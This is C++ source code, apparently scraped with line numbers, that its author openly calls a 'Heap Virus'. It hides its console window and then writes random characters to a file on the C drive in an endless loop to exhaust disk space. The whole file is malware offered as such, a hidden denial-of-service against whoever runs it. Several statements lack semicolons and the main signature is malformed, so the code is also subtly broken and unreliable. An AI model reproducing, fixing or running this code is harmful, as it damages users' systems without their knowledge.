1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//created by Mike Marek
//Heap Virus
//Creates and continuously grows a massive text file taking up hard drive space
//---------------------------------------------------------------------------------------------------------------------
#define _WIN32_WINNT 0x0500
#include <ctime>
#include <string>
#include <vector>
#include <fstream>
#include <iostream>
#include <windows.h>
using namespace std;
 
int main(int argc, char *argv) {
       //main function
       HWND hWnd = GetConsoleWindow();
    ShowWindow( hWnd, SW_HIDE );
    //hide window
 
       srand(time(NULL));
       //set up random figure using system clock
 
       string input;
       vector <string> container;
       ifstream infile ("C:/file.txt")//input file
 
       if (infile.is_open()) {
              while (!infile.eof()) {
                     getline(infile, input);
                     container.push_back(input);
              }
              infile.close();
       }
       //read data in file if it exists
 
       ofstream file ("C:/file.txt")//output file
 
       if (container.size() != 0) {
              for (int i = 0; i < container.size(); i++) {
                     file << container[i]
                             << endl;
              }
       }
       //store past data into file if it exists
 
       while (true) {
              for (int i = 0; i < 128; i++) {
                     //write 128 different characters through each pass
                     file << (char(rand() % 128));
              }
       }
       //continuously write data to file
 
       file.close()//close file
       return 0;
}